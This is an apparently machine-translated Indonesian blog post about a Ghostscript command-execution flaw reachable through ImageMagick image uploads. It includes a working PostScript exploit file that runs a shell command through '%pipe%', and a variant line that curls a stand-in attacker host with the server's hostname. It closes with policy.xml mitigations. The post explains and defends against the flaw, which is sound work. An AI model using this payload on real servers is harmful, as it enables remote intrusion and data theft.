Secara singkat: jika Anda memiliki gambar di situs Anda dan memprosesnya menggunakan pustaka ImageMagick yang populer, maka dengan mengunggah gambar, Anda dapat menjalankan perintah shell dengan hak-hak pengguna server web (misalnya: mengunduh RAT, penambang, menggabungkan sumber, mengakses basis data, menyebabkan kegagalan, dll.)
Sungguh aneh bahwa berita (
asli ) tentang lubang baru di perpustakaan GhostScript dan, sebagai hasilnya, banyak perpustakaan lain yang menggunakannya di bawah tenda yang dilewati oleh habrosociety. Jadi apa yang kita miliki?
Bagaimana cara memverifikasi bahwa server Anda rentan?Kami mengambil dan mengunggah file .ps uji ke server, bukan gambar. Contoh file di bawah ini tidak banyak merugikan - hanya membuat penundaan 5 detik. Jika server merespons lebih dari 5 detik, maka Anda memiliki masalah: apakah layanan Anda rentan atau sangat lambat =)
%!PS % This is ghostscript bug 699714, a variant of 699687 (which is itself a variant of 699654). userdict /setpagedevice undef a4 currentpagedevice /HWResolution get 0 (foobar) put { grestore } stopped clear % make sure we have a device with OutputFile (ppmraw) selectdevice mark /OutputFile (%pipe% `sleep 5`) currentdevice putdeviceprops { showpage } stopped pop quit
Tim Kunci:
tidur 5Perintah alternatif bisa jadi
mark /OutputFile (%pipe% curl evilserver.su/GHOSTSCRIPT-RCE-HOOK/`hostname`) currentdevice putdeviceprops
atau sesuatu yang tidak berbahaya.
Ada banyak vektor eksploitasi. Selain mengunduh ke prosesor gambar, Anda cukup mengirim tautan ke file .ps ke korban, dan karena di sebagian besar sistem operasi, pratinjau dibuat saat menyimpannya ke komputer, ini juga menyebabkan pengoperasian (diuji secara pribadi pada desktop Linux). Pada saat penulisan, tidak ada antivirus yang mendeteksi file .ps sebagai berbahaya.
Apa yang harus dilakukanSayangnya, terlepas dari publikasi informasi tentang kerentanan dan
koreksi kesalahan, pembaruan distribusi mungkin tidak memiliki versi tetap.
Di server, Anda dapat melakukan pemeriksaan pendahuluan dari tipe gambar dengan pustaka pihak ketiga, memfilter melalui file policymap ImageMagick / policy.xml dan tidak memproses tipe file yang rentan. SELinux juga harus menutup bagian dari vektor serangan, misalnya, menulis ke folder non-standar.
UPD: di komentar mereka menulis bahwa kerentanannya masih belum diperbaiki di perpustakaan!
UPD2: perbaiki untuk perbaikan untuk imagemagick untuk melarang penggunaan file PostScript dan PDF dari
elvenpath : di file /etc/ImageMagick-6/policy.xml atau /etc/ImageMagick-7/policy.xml tergantung pada versi ImageMagick yang perlu Anda tulis:
<policymap> <policy domain="coder" rights="none" pattern="{EPS,PS2,PS3,PS,PDF,XPS}" /> </policymap>